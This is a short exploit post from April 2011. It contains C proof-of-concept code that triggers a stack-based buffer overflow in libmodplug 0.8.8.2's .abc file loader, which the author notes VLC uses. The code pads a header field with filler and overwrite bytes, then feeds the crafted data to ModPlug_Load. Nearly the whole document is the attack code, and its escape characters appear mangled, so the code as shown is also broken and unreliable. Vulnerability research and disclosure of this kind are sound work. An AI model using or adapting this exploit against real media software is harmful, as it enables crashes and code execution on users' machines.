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libmodplug 0.8.8.2 Buffer Overflow

Posted on 29 April 2011

#include <libmodplug/modplug.h>
#include <stdio.h>
#include <string.h>

/*
libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc

http://modplug-xmms.sourceforge.net/

by: epiphant

this exploits one of many overflows in load_abc.cpp lol

vlc media player uses libmodplug

greets: defrost, babi, ming_wisher, emel1a, a.v., krs

date: 28 april 2011

tested on: centos 5.6
*/

int main(void)
{
char test[512] = "X: 1
U: ";
unsigned int i;

i = strlen(test);
while (i < 278)
test[i++] = 'Q';
test[i++] = '1' + 32;
test[i++] = '3';
test[i++] = '3';
test[i++] = '4';
while (i < 286)
test[i++] = 'A';
test[i++] = '
';
test[i] = '';

strcat(test, "T: Here Without You (Transcribed by: Bungee)
");
strcat(test, "Z: 3 Doors Down
");
strcat(test, "L: 1/4
");
strcat(test, "Q: 108
");
strcat(test, "K: C

");
strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]
");

i = strlen(test);
ModPlug_Load(test, i);

return 0;
}

 

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